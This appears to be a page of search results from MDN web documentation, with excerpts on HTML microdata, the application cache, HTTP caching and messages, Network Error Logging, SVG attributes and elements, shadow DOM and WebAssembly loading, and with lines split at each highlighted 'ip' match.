iple properties with the same name and different values. ice cream with two flavors <div itemscope> <p>flavors in my favorite ice cream:</p> <ul> <li itemprop="flavor">lemon sorbet</li> <li itemprop="flavor">apricot sorbet</li> </ul> </div> this results in an item with two properties, both with the name "flavor" and having the values "lemon sorbet" and "apricot sorbet". an element introdu...
...fferent values. ice cream with two flavors <div itemscope> <p>flavors in my favorite ice cream:</p> <ul> <li itemprop="flavor">lemon sorbet</li> <li itemprop="flavor">apricot sorbet</li> </ul> </div> this results in an item with two properties, both with the name "flavor" and having the values "lemon sorbet" and "apricot sorbet". ...
...t" and "apricot sorbet". an element introducing a property can also introduce mult
iple properties at once, to avoid duplication when some of the properties have the same value. an item with two properties, "favorite-color" and "favorite-fruit", both set to the value "orange" <div itemscope> <span itemprop="favorite-color favorite-fruit">orange</span> </div> note: there is no relationsh
ip between the microdata and the content of the document where the microdata is marked up. same structured data marked up in two different ways there is no semantic difference between the following two examples <figure> <img src="castle.jpeg"> <figcaption><span itemscope><span itemprop="name">the castle</span></span> (1986)</figcaption> </figure> <span itemscope><meta itemprop="n...
...And 2 more matches
Using the application cache - HTML: Hypertext Markup Language
ts consist of zero or more tabs or spaces followed by a single # character, followed by zero or more characters of comment text. comments may only be used on their own lines (after the initial cache manifest line), and cannot be appended to other lines. this means that you cannot specify fragment identifiers. section header section headers specify which section of the cache manifest is being man
ipulated. there are three possible section headers: section header descr
iption cache: switches to the explicit section of the cache manifest (this is the default section). network: switches to the online whitelist section of the cache manifest. fallback: switches to the fallback section of the cache manifest. the section header line may in...
...in this cache using its manifest attribute. explicit entries these are resources explicitly listed in the application's cache manifest file. network entries these are resources listed in the application's cache manifest files as network entries. fallback entries these are resources listed in the application's cache manifest files as fallback entries. note: resources can be tagged with mult
iple categories, and can therefore be categorized as mult
iple entries. for example, an entry can be both an explicit entry and a fallback entry. resource categories are described in greater detail below. master entries master entries are any html files that include a manifest attribute in their <html> element. for example, let's say we have the html file http://www.example.com/entry.html, which l...
...application requires online access. network entries in an application cache are essentially an "online whitelist"--uris specified in the network section are loaded from the server instead of the cache. this lets the browser's security model protect the user from potential security breaches by limiting access to approved resources. as an example, you can use network entries to load and execute scr
ipts and other code from the server instead of the cache: cache manifest network: /api the cache manifest section listed above ensures that requests to load resources contained in the http://www.example.com/api/ subtree always go to the network without attempting to access the cache. note: simply omitting master entries (files that have the manifest attribute set in the html element) from the ma...
...And 2 more matches
HTTP caching - HTTP
aling of web sites and web applications. private browser caches a private cache is dedicated to a single user. you might have seen "caching" in your browser's settings already. a browser cache holds all documents downloaded via http by the user. this cache is used to make visited documents available for back/forward navigation, saving, viewing-as-source, etc. without requiring an additional tr
ip to the server. it likewise improves offline browsing of cached content. shared proxy caches a shared cache is a cache that stores responses to be reused by more than one user. for example, an isp or your company might have set up a web proxy as part of its local network infrastructure to serve many users so that popular resources are reused a number of times, reducing network traffic and latenc...
...rieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files. permanent redirects: a 301 (moved permanently) response. error responses: a 404 (not found) result page. incomplete results: a 206 (partial content) response. responses other than get if something suitable for use as a cache key is defined. a cache entry might also consist of mult
iple stored responses differentiated by a secondary key, if the request is target of content negotiation. for more details see the information about the vary header below. controlling caching the cache-control header the cache-control http/1.1 general-header field is used to specify directives for caching mechanisms in both requests and responses. use this header to define your caching policies w...
...ache-control: public expiration the most important directive here is "max-age=<seconds>" which is the maximum amount of time a resource will be considered fresh. contrary to expires, this directive is relative to the time of the request. for the files in the application that will not change, you can usually add aggressive caching. this includes static files such as images, css files and javascr
ipt files, for example. for more details, see also the freshness section below. cache-control: max-age=31536000 validation when using the "must-revalidate" directive, the cache must verify the status of the stale resources before using it and expired ones should not be used. for more details, see the validation section below. cache-control: must-revalidate the pragma header pragma is a http/1...
...And 2 more matches
Feature Policy - HTTP
fy policies to control features: the feature-policy http header. the allow attribute on iframes. the primary difference between the http header and the allow attribute is that the allow attribute only controls features within an iframe. the header controls features in the response and any embedded content within the page. for more details see using feature policy. ...
...rols features in the response and any embedded content within the page. for more details see using feature policy. inferring the policy scr
ipts can programatically query information about the feature policy via the featurepolicy object located at either document.featurepolicy or htmliframeelement.featurepolicy. types of policy-controlled features though feature policy provides control of mult
iple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors. the general princ
iple is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. newly introduced features may have an explicit api to signal the state. existing features that later integrate with featu...
... change the default values or options that control the feature behavior. the current set of policy-controlled features fall into two broad categories: enforcing best practices for good user experiences. ...
...And 2 more matches
HTTP Messages - HTTP
in http/1.1, and earlier versions of the protocol, these messages were openly sent across the connection. ...
...ve one: requests fetching resources, like get, head, delete, or options, usually don't need one. some requests send data to the server in order to update it: as often the case with post requests (containing html form data). bodies can be broadly divided into two categories: single-resource bodies, consisting of one single file, defined by the two headers: content-type and content-length. mult
iple-resource bodies, consisting of a mult
ipart body, each containing a different bit of information. this is typically associated with html forms. http responses status line the start line of an http response, called the status line, contains the following information: the protocol version, usually http/1.1. a status code, indicating success or failure of the request. common status codes ar...
... bit of information. this is typically associated with html forms. http responses status line the start line of an http response, called the status line, contains the following information: the protocol version, usually http/1.1. a status code, indicating success or failure of the request. common status codes are 200, 404, or 302 a status text. a brief, purely informational, textual descr
iption of the status code to help a human understand the http message. a typical status line looks like: http/1.1 404 not found. headers http headers for responses follow the same structure as any other header: a case-insensitive string followed by a colon (':') and a value whose structure depends upon the type of the header. the whole header, including its value, presents as a single line. the...
...And 2 more matches
Network Error Logging - HTTP
is shown. the top-level "body" key contains the network error report. http 400 (bad request) response { "age": 20, "type": "network-error", "url": "https://example.com/previous-page", "body": { "elapsed_time": 338, "method": "post", "phase": "application", "protocol": "http/1.1", "referrer": "https://example.com/previous-page", "sampling_fraction": 1, "server_
ip": "137.205.28.66", "status_code": 400, "type": "http.error", "url": "https://example.com/bad-request" } } dns name not resolved note that the phase is set to dns in this report and no server_
ip is available to include. { "age": 20, "type": "network-error", "url": "https://example.com/previous-page", "body": { "elapsed_time": 18, "method": "post", "phase": "dn...
...s name not resolved note that the phase is set to dns in this report and no server_
ip is available to include. ...
... "status_code": 0, "type": "dns.name_not_resolved", "url": "https://example-host.com/" } } the type of the network error may be one of the following pre-defined values from the specification, but browsers can add and send their own error types: dns.unreachable the user's dns server is unreachable dns.name_not_resolved the user's dns server responded but was unable to resolve an
ip address for the requested uri. dns.failed request to the dns server failed due to reasons not covered by previous errors (e.g. servfail) dns.address_changed for security reasons, if the server
ip address that delivered the original report is different to the current server
ip address at time of error generation, the report data will be downgraded to only include information about this problem...
...And 2 more matches
Autoplay guide for media and Web Audio APIs - Web media technologies
audio track are considered to be audible, and autoplay blocking applies to them. inaudible media are not affected by autoplay blocking. autoplay and autoplay blocking the term autoplay refers to any feature that causes audio to begin to play without the user specifically requesting that playback begin. this includes both the use of html attributes to autoplay media as well as the user of javascr
ipt code to start playback outside the context of handling user input. that means that both of the following are considered autoplay behavior, and are therefore subject to the browser's autoplay blocking policy: <audio src="/music.mp4" autoplay> and audioelement.play(); the following web features and apis may be affected by autoplay blocking: the html <audio> and <video> elements the web au...
...ogrammatically initiated in a tab which has not yet had any user interaction. browsers may additionally choose to block under other circumstances. autoplay of media elements now that we've covered what autoplay is and what can prevent autoplay from being allowed, we'll look at how your web site or app can automatically play media upon page load, how to detect when autoplay fails to occur, and t
ips for coping when autoplay is denied by the browser. the autoplay attribute the simplest way to automatically play content is to add the autoplay attribute to your <audio> or <video> element. this sets the autoplay property on the element to true, and when autoplay is true, the media will automatically begin to play as soon as possible after the following have occurred: the page is allowed to...
...d and resumed by the user or automatically by the browser when the document is in a background tab. at this point, your site or app can begin whatever it needs to do that relies upon the video having been started up. note: this approach doesn't differentiate between autoplay and the user starting playback manually. the play() method the term "autoplay" also refers to scenarios in which a scr
ipt tries to trigger the playback of media that includes audio, outside the context of handling a user input event. this is done by calling the media element's play() method. note: it is strongly recommended that you use the autoplay attribute whenever possible, because support for autoplay preferences are more widespread for the autoplay attribute than for other means of playing media automatical...
...And 2 more matches
Critical rendering path - Web Performance
the html includes or makes requests for styles, which in turn builds the css object model. the browser engine combines the two to create the render tree. layout determines the size and location of everything on the page. ...
...the html includes or makes requests for styles, which in turn builds the css object model. the browser engine combines the two to create the render tree. layout determines the size and location of everything on the page. ...
...mined, pixels are painted to the screen. optimizing the critical rendering path improves the time to first render. understanding and optimizing the critical rendering path is important to ensure reflows and repaints can happen at 60 frames per second, to ensure performant user interactions and avoid jank. ...
...And 2 more matches
Lazy loading - Web Performance
horten the critical rendering path length by lazy loading resources that are not critical for the first render to happen. a practical example would be when, you land on the home page of an e-commerce site which has a link to a cart page/section and all its resources (js, css, images...) are downloaded only when the user navigates to that cart page. strategies lazy loading can be applied to mult
iple resources and through mult
iple strategies. general code splitting javascr
ipt, css and html can be split into smaller chunks. this enables sending the minimal code required to provide value upfront, improving page-load times. the rest can be loaded on demand. entry point splitting: separates code by entry point(s) in the app dynamic splitting: separates code where dynamic i...
... css by default, css is treated as a render blocking resource, so the browser won't render any processed content until the cssom is constructed. ...
... css by default, css is treated as a render blocking resource, so the browser won't render any processed content until the cssom is constructed. ...
...And 2 more matches
Privacy, permissions, and information security
ecurity and privacy features available to users on the web, let's define some important terms. personally identifiable information personally identifiable information (pii) is information which can be used, in whole or in part, to track down and/or identify a specific person. as such, pii extends beyond the web to all aspects of life. for example, if a site leaks a list of users' names and z
ip codes online, a bad actor could almost certainly track down at least some percentage of those users by simply using the corresponding phone books. personally identification can include information like usernames, real names, passwords, phone numbers or addresses (or even portions of them), information about medical history, social security numbers, driver licenses, or any other form of id or id...
... <what kind of information is private or personal?> privacy risks <what are ways personal information can be gotten by third parties?> fingerprinting fingerprinting is a technique used to gather a variety of information that's made available by a user's browser and collating it until it becomes possible to uniquely identify that user's browser. even seemingly innocuous information can in princ
iple be used in the fingerprinting process, though the more unique the information is to the particular device the better. modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes. for example, if a ...
...on purposes. for example, if a web site queries a user's browser for the elapsed time, a comparison of that time to the time as reported by the server might be useful as a factor in fingerprinting. because of this, browsers typically introduce a small amount of variability to timers in order to make them less useful for identifying the user's system. privacy and security controls there are mult
iple layers of controls for helping to protect users against security and privacy breaches. these start at the web server, include the very communication layer used over the network, and then extend through the web browser's security offerings before reaching your web app code and the efforts it takes to secure itself and the data the user entrusts to it. there are several web technologies and fea...
...And 2 more matches
href - SVG: Scalable Vector Graphics
ce url. the exact meaning of that link depends on the context of each element using it. note: specifications before svg 2 defined an xlink:href attribute, which is now rendered obsolete by the href attribute. fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <scr
ipt>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference. value <url> default value none ...
... animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a url referring to the element which is the target of this animation element and which therefore will be modified over time. the url must point to exactly one target element which is capable of being the target of the given animation element. if the url points to mult
iple target elements, if the given target element is not capable of being a target of the given animation element, or if the given target element is not part of the current document, then the animation element will not affect any target element. however, the animation element will still operate normally with regard to its timing properties. specifically, timeevents are dispatched and the animation e...
... the animation element can be used as syncbase in an identical fashion to when the url refers to a valid target element. if the href attribute or the deprecated xlink:href attribute is not provided, then the target element will be the immediate parent element of the current animation element. if both xlink:href and href are specified, the value of the latter attribute is used. refer to the descr
iptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. except for any svg-specific rules explicitly mentioned in this specification, the normative definition for this attribute is the smil animation specification. in particular, see smil animation: specifying the animation target. value <url> ...
...And 2 more matches
in - SVG: Scalable Vector Graphics
hes a previous result attribute value within the same <filter> element. if no value is provided and this is the first filter primitive, then this filter primitive will use sourcegraphic as its input. if no value is provided and this is a subsequent filter primitive, then this filter primitive will use the result from the previous filter primitive as its input. if the value for result appears mult
iple times within a given <filter> element, then a reference to that result will use the closest preceding filter primitive with the given value for attribute result. fourteen elements are using this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology...
...e. workaround for backgroundimage instead of using in="backgroundimage", we need to import one of the images to blend inside the filter itself, using an <feimage> element. ...
...ges to blend inside the filter itself, using an <feimage> element. html <div style="width: 420px; height: 220px;"> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <filter id="backgroundmult
iply"> <!-- this will not work. ...
...And 2 more matches
x - SVG: Scalable Vector Graphics
y meaning this attribute can also be used as a css property for <svg>. text for <text>, if it contain a single value, x defines the x coordinate on where the content text position must be placed. the content text position is usualy a point on the baseline of the first line of text. the exact content text position is influenced by some properties like text-anchor, or direction. if there are mult
iple values, x defines the x coordinate of each individual glyph from the text. if there are less values than glyphes, the remaining glyphes are placed in the continuity of the last positioned glyph. if there are more values than glyphes, extra values are ignored. value list of (<length> | <percentage>) default value 0 animatable yes example html,body,sv...
... for <tref>, if it contain a single value, x defines the x coordinate on where the content text position must be placed. the content text po...
...; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used. for <tref>, if it contain a single value, x defines the x coordinate on where the content text position must be placed. the content text position is usualy a point on the baseline of the first line of text. the exact content text position is influenced by some properties like text-anchor, or direction. if there are mult
iple values, x defines the x coordinate of each individual glyph from the text. if there are less values than glyphes, the remaining glyphes are placed in the continuity of the last positioned glyph. if there are more values than glyphes, extra values are ignored. value list of (<length> | <percentage>) default value 0 animatable yes tspan for <tspan>, if...
...And 2 more matches
y - SVG: Scalable Vector Graphics
y meaning this attribute can also be used as a css property for <svg>. text for <text>, if it contain a single value, y defines the y coordinate on where the content text position must be placed. the content text position is usualy a point on the baseline of the first line of text. the exact content text position is influenced by some properties like text-anchor, or direction. if there are mult
iple values, y defines the y coordinate of each individual glyph from the text. if there are less values than glyphes, the remaining glyphes are placed in the continuity of the last positioned glyph. if there are more values than glyphes, extra values are ignored. value list of (<length> | <percentage>) default value 0 animatable yes example html,body,sv...
... for <tref>, if it contain a single value, y defines the y coordinate on where the content text position must be placed. the content text posi...
...; } tref warning: as of svg2 <tref> is deprecated and shouldn't be used. for <tref>, if it contain a single value, y defines the y coordinate on where the content text position must be placed. the content text position is usualy a point on the baseline of the first line of text. the exact content text position is influenced by some properties like text-anchor, or direction. if there are mult
iple values, y defines the y coordinate of each individual glyph from the text. if there are less values than glyphes, the remaining glyphes are placed in the continuity of the last positioned glyph. if there are more values than glyphes, extra values are ignored. value list of (<length> | <percentage>) default value 0 animatable yes tspan for <tspan>, if...
...And 2 more matches
<a> - SVG: Scalable Vector Graphics
ressing the same use cases, see navigator.sendbeacon(). value type: <list-of-urls> ; default value: none; animatable: no referrerpolicy which referrer to send when fetching the url. value type: no-referrer|no-referrer-when-downgrade|same-origin|origin|strict-origin|origin-when-cross-origin|strict-origin-when-cross-origin|unsafe-url ; default value: none; animatable: no rel the relationsh
ip of the target object to the link object. value type: <list-of-link-types> ; default value: none; animatable: yes target where to display the linked url. value type: _self|_parent|_top|_blank|<name> ; default value: _self; animatable: yes type a mime type for the linked url. value type: <string> ; default value: none; animatable: yes xlink:href deprecated since svg 2 the url or url fragme...
.... ...
...pe: <url> ; default value: none; animatable: yes global attributes core attributes most notably: id, lang, tabindex styling attributes class, style conditional processing attributes most notably: requiredextensions, systemlanguage event attributes global event attributes, document element event attributes, graphical event attributes presentation attributes most notably: cl
ip-path, cl
ip-rule, color, color-interpolation, color-rendering, cursor, display, fill, fill-opacity, fill-rule, filter, mask, opacity, pointer-events, shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes most notably: xlink:title aria attributes aria-activedescen...
...And 2 more matches
<foreignObject> - SVG: Scalable Vector Graphics
aliquam erat volutpat. </div> </foreignobject> </svg> attributes height the height of the foreignobject. value type: <length>|<percentage> ; default value: auto; animatable: yes width the width of the foreignobjec...
...185 10,195" /> <!-- common use case: embed html text into svg --> <foreignobject x="20" y="20" width="160" height="160"> <!-- in the context of svg embedded in an html document, the xhtml namespace could be omitted, but it is mandatory in the context of an svg document --> <div xmlns="http://www.w3.org/1999/xhtml"> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. sed mollis mollis mi ut ultricies. nullam magna
ipsum, porta vel dui convallis, rutrum imperdiet eros. aliquam erat volutpat. </div> </foreignobject> </svg> attributes height the height of the foreignobject. value type: <length>|<percentage> ; default value: auto; animatable: yes width the width of the foreignobject. value type: <length>|<percentage...
...ed as css properties for that element. ...
...And 2 more matches
<svg> - SVG: Scalable Vector Graphics
3.org/2000/svg" stroke="red" fill="grey"> <circle cx="50" cy="50" r="40" /> <circle cx="150" cy="50" r="4" /> <svg viewbox="0 0 10 10" x="200" width="100"> <circle cx="5" cy="5" r="4" /> </svg> </svg> attributes baseprofile deprecated since svg 2 the minimum svg language profile that the document requires. value type: <string> ; default value: none; animatable: no contentscr
ipttype deprecated since svg 2 the default scr
ipting language used by the svg fragment. value type: <string> ; default value: application/ecmascr
ipt; animatable: no contentstyletype deprecated since svg 2 the default style sheet language used by the svg fragment. value type: <string> ; default value: text/css; animatable: no height the displayed height of the rectangular viewport. (not the he...
...es can also be used as css properties. ...
... be used as css properties. ...
...And 2 more matches
<symbol> - SVG: Scalable Vector Graphics
documents that are rich in structure may be rendered graphically, as speech, or as braille, and thus promote accessibility. ...
...t value: 0; animatable: yes y this attribute determines the y coordinate of the symbol. ...
... animatable: yes y this attribute determines the y coordinate of the symbol. ...
...And 2 more matches
Namespaces crash course - SVG: Scalable Vector Graphics
y good example of this is the href parameter defined by the xlink specification. this parameter is commonly used by other xml dialects as a means to link to external resources. but how do you tell the user agent which dialect the parameter belongs to, in this case xlink? consider the following example. <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <scr
ipt xlink:href="cool-scr
ipt.js" type="text/ecmascr
ipt"/> </svg> this example has the rather unusual looking parameter xmlns:xlink. as you may guess from the first 'xmlns' part, this is another namespace declaration. however, instead of setting the default namespace, this namespace declaration sets the namespace for something called a "namespace prefix". in this case, we have chosen to use the pref...
...or something called a "namespace prefix". in this case, we have chosen to use the prefix xlink (the second part) since the prefix will be used to tell the user agent about attributes that belong to xlink. as their name suggests, namespace prefixes are used to prefix parameter and element names. this is done by putting the namespace prefix and a colon before the parameter name as shown on the <scr
ipt> element in the example above. this tells the user agent that that particular parameter belongs to the namespace assigned to the namespace prefix (xlink), and is a parameter that can be used with the same meaning on other elements. note that it is an xml error to use a prefix that hasn't been bound to a namespace name. the binding created by the xmlns:xlink parameter in the example above is abs...
... width="300px" height="200px"> <svg:circle cx="150" cy="100" r="50" fill="#ff0000"/> </svg:svg> </body> </html> note that because a namespace prefix is used for the <svg:svg> element and its child <svg:circle>, it wasn't necessary to redeclare the default namespace. in general though it is better to redeclare the default namespace rather than prefix lots of elements in this way. scr
ipting in namespaced xml namespaces affect not only markup, but also scr
ipting. if you write scr
ipts for namespaced xml such as svg, read on. the dom level 1 recommendation was created before the original namespaces in xml recommendation was released; therefore, dom1 isn't namespace aware. this causes problems for namespaced xml such as svg. to resolve these problems, dom level 2 core added namesp...
...And 2 more matches
Basic shapes - SVG: Scalable Vector Graphics
however, since they're used in most svg documents, it's necessary to give them some sort of introduction. ...
...andalone="no"?> <svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/> <circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/> <ell
ipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/> <line x1="10" x2="50" y1="110" y2="150" stroke="orange" stroke-width="5"/> <polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145" stroke="orange" fill="transparent" stroke-width="5"/> <polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180" ...
...he x radius of the corners of the rectangle ry the y radius of the corners of the rectangle circle the <circle> element draws a circle on the screen. it takes 3 basic parameters to determine the shape and size of the element. <circle cx="25" cy="75" r="20"/> r the radius of the circle. cx the x position of the center of the circle. cy the y position of the center of the circle. ell
ipse an <ell
ipse> is a more general form of the <circle> element, where you can scale the x and y radius (commonly refferred to as the semimajor and semiminor axes in maths) of the circle separately. <ell
ipse cx="75" cy="75" rx="20" ry="5"/> rx the x radius of the ell
ipse. ry the y radius of the ell
ipse. cx the x position of the center of the ell
ipse. cy the y position of the center of t...
...And 2 more matches
SVG: Scalable Vector Graphics
getting started this tutorial will help get you started using svg. scalable vector graphics (svg) are an xml-based markup language for describing two-dimensional based vector graphics. as such, it's a text-based, open web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including css, dom, javascr
ipt, and smil. svg is, essentially, to graphics what html is to text. svg images and their related behaviors are defined in xml text files, which means they can be searched, indexed, scr
ipted, and compressed. additionally, this means they can be created and edited with any text editor or with drawing software. compared to classic bitmapped image formats such as jpeg or png, svg-format vector images can be ...
...d of a graphical editor to do so. with proper libraries, svg files can even be localized on-the-fly. svg has been developed by the world wide web consortium (w3c) since 1999. documentation svg element reference details about each svg element. svg attribute reference details about each svg attribute. svg dom interface reference details about the svg dom api, for interaction with javascr
ipt. applying svg effects to html content svg works together with html, css and javascr
ipt. use svg to enhance a regular html page or web application. view all... community view mozilla forums... mailing list newsgroup rss feed tools svg test suite markup validator more tools... other resources: xml, css, dom, canvas examples google maps (route overlay) & docs (sprea...
...s, dom, canvas examples google maps (route overlay) & docs (spreadsheet charting) svg bubble menus svg authoring guidelines an overview of the mozilla svg project frequently asked questions regarding svg and mozilla svg as an image svg animation with smil svg art gallery animation and interactions like html, svg has a document model (dom) and events, and is accessible from javascr
ipt. this allows developers to create rich animations and interactive images. some real eye-candy svg at svg-wow.org firefox extension (grafox) to add a subset of smil animation support interactive photos man
ipulation html transformations using svg's foreignobject mapping, charting, games & 3d experiments while a little svg can go a long way to enhanced web content, here are some examples o...
...And 2 more matches
Using shadow DOM - Web Components
not a new thing by any means -- browsers have used it for a long time to encapsulate the inner structure of an element. think for example of a <video> element, with the default browser controls exposed. all you see in the dom is the <video> element, but it contains a series of buttons and other controls inside its shadow dom. the shadow dom spec has made it so that you are allowed to actually man
ipulate the shadow dom of your own custom elements. basic usage you can attach a shadow root to any element using the element.attachshadow() method. this takes as its parameter an options object that contains one option -- mode -- with a value of open or closed: let shadow = elementref.attachshadow({mode: 'open'}); let shadow = elementref.attachshadow({mode: 'closed'}); open means that you can a...
...ustom elements. basic usage you can attach a shadow root to any element using the element.attachshadow() method. this takes as its parameter an options object that contains one option -- mode -- with a value of open or closed: let shadow = elementref.attachshadow({mode: 'open'}); let shadow = elementref.attachshadow({mode: 'closed'}); open means that you can access the shadow dom using javascr
ipt written in the main page context, for example using the element.shadowroot property: let myshadowdom = mycustomelem.shadowroot; if you attach a shadow root to a custom element with mode: closed set, you won't be able to access the shadow dom from the outside -- mycustomelem.shadowroot returns null. this is the case with built in elements that contain shadow doms, such as <video>. note: as th...
...tually fairly easy to work around closed shadow doms, and the hassle to completely hide them is often more than it's worth. if you are attaching a shadow dom to a custom element as part of its constructor (by far the most useful application of the shadow dom), you would use something like this: let shadow = this.attachshadow({mode: 'open'}); when you've attached a shadow dom to an element, man
ipulating it is a matter of just using the same dom apis as you use for the regular dom man
ipulation: let para = document.createelement('p'); shadow.appendchild(para); // etc. working through a simple example now let's walk through a simple example to demonstrate the shadow dom in action inside a custom element -- <popup-info> (see a live example also). this takes an image icon and a text string,...
...And 2 more matches
Web Components
chnologies allowing you to create reusable custom elements -- with their functionality encapsulated away from the rest of your code -- and utilize them in your web apps. concepts and usage as developers, we all know that reusing code as much as possible is a good idea. this has traditionally not been so easy for custom markup structures -- think of the complex html (and associated style and scr
ipt) you've sometimes had to write to render custom ui controls, and how using them mult
iple times can turn your page into a mess if you are not careful. web components aims to solve such problems -- it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisio...
...er custom ui controls, and how using them mult
iple times can turn your page into a mess if you are not careful. web components aims to solve such problems -- it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions. custom elements: a set of javascr
ipt apis that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface. shadow dom: a set of javascr
ipt apis for attaching an encapsulated "shadow" dom tree to an element -- which is rendered separately from the main document dom -- and controlling associated functionality. in this way, you can keep an element's features private, so they can ...
... that allow you to define custom elements and their behaviour, which can then be used as desired in your user interface. shadow dom: a set of javascr
ipt apis for attaching an encapsulated "shadow" dom tree to an element -- which is rendered separately from the main document dom -- and controlling associated functionality. in this way, you can keep an element's features private, so they can be scr
ipted and styled without the fear of collision with other parts of the document. html templates: the <template> and <slot> elements enable you to write markup templates that are not displayed in the rendered page. these can then be reused mult
iple times as the basis of a custom element's structure. the basic approach for implementing a web component generally looks something like this: create ...
...And 2 more matches
Index - XPath
or false. 23 count xslt, xslt_reference the count function counts the number of nodes in a node-set and returns an integer. 24 current xslt, xslt_reference the current function can be used to get the context node in an xslt instruction. 25 document xslt, xslt_reference the document finds a node-set in an external document, or mult
iple external documents, and returns the resulting node-set. 26 element-available xslt, xslt_reference the element-available function determines if an element is available and returns true or false. 27 false xslt, xslt_reference the false function returns boolean false. 28 floor xslt, xslt_reference the floor function evaluates a d...
... xslt, xslt_reference the name function returns a string representing the qname of the first node in a given node-set. 38 namespace-uri xslt, xslt_reference the namespace-uri function returns a string representing the namespace uri of the first node in a given node-set. 39 normalize-space xslt, xslt_reference the normalize-space function str
ips leading and trailing white-space from a string, replaces sequences of whitespace characters by a single space, and returns the resulting string. 40 not xslt, xslt_reference the not function evaluates a boolean expression and returns the opposite value. 41 number xslt, xslt_reference the number function converts an object to a number and returns the n...
... function returns a boolean value of true. 54 unparsed-entity-url xslt, xslt_reference the unparsed-entity-url() function returns the uri of the unparsed entity with the given name. this is non-xml data referenced in the dtd of the source document. ...
...And 2 more matches
Loading and running WebAssembly code - WebAssembly
to use webassembly in javascr
ipt, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. what are the options? ...
... to use webassembly in javascr
ipt, you first need to pull your module into memory before compilation/instantiation. this article provides a reference for the different mechanisms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it. what are the options? ...
...ments, thus there is not a path to have the browser fetch modules for you using imports. the older webassembly.compile/webassembly.instantiate methods require you to create an arraybuffer containing your webassembly module binary after fetching the raw bytes, and then compile/instantiate it. this is analogous to new function(string), except that we are substituting a string of characters (javascr
ipt source code) with an array buffer of bytes (webassembly source code). the newer webassembly.compilestreaming/webassembly.instantiatestreaming methods are a lot more efficient -- they perform their actions directly on the raw stream of bytes coming from the network, cutting out the need for the arraybuffer step. so how do we get those bytes into an array buffer and compiled? the following secti...
...And 2 more matches
ui - Archive of obsolete content
ts a "pressed" look when the button is checked. it's otherwise identical to the action button. attaching panels to buttons is only supported from firefox 30 onwards. from firefox 30 onwards, you can attach panels to toggle buttons, by passing the button into the panel's constructor or its show() method: frame a frame enables you to create an html iframe, using bundled html, css and javascr
ipt. this can then be added to a designated area of the firefox user interface. at the moment you can only add frames to a toolbar. you initialize a frame with a url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascr
ipt files, and your main add-on can communicate with a frame scr
ipt using message passing. once you've create...
...nder your add-on's "data" directory. this document can refer to bundled css and javascr
ipt files, and your main add-on can communicate with a frame scr
ipt using message passing. once you've created a frame you need to add it to a toolbar. toolbar the ability to add buttons to toolbars is new in firefox 30. in firefox 29 you can only add frames to toolbars. a toolbar gives you a horizontal str
ip of space which you can use for presenting a more complex user interface. you initialize a toolbar with an array of buttons and frames: var ui = require("sdk/ui"); var { actionbutton } = require("sdk/ui/button/action"); var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var previous = ui.actionbutton({ id: "previous", label: "previous", icon: "./icons/pr...
... var ui = require("sdk/ui"); var sidebar = ui.sidebar({ id: 'my-sidebar', title: 'my sidebar...
...r toolbar = ui.toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the content window: sidebar a sidebar gives you a vertical str
ip of space for presenting complex user interfaces. you initialize a sidebar with a url pointing to an html document supplied under your add-on's "data" directory. this document can refer to bundled css and javascr
ipt files, and your main add-on can communicate with a frame scr
ipt using message passing. var ui = require("sdk/ui"); var sidebar = ui.sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); it appears on the left of the content window: ...
core/heritage - Archive of obsolete content
if (!(this instanceof dog)) return new dog(name); this.name = name; }; // to define methods you need to make a dance with a special 'prototype' // property of the constructor function. this is too much machinery exposed. ...
...as mentioned before you could pass constructors that were not created using class function as long as they have proper prototype setup. also you can mix inheritance and composition together if necessary: var point = class({ initialize: function initialize(x, y) { this.x = x; this.y = y; ...
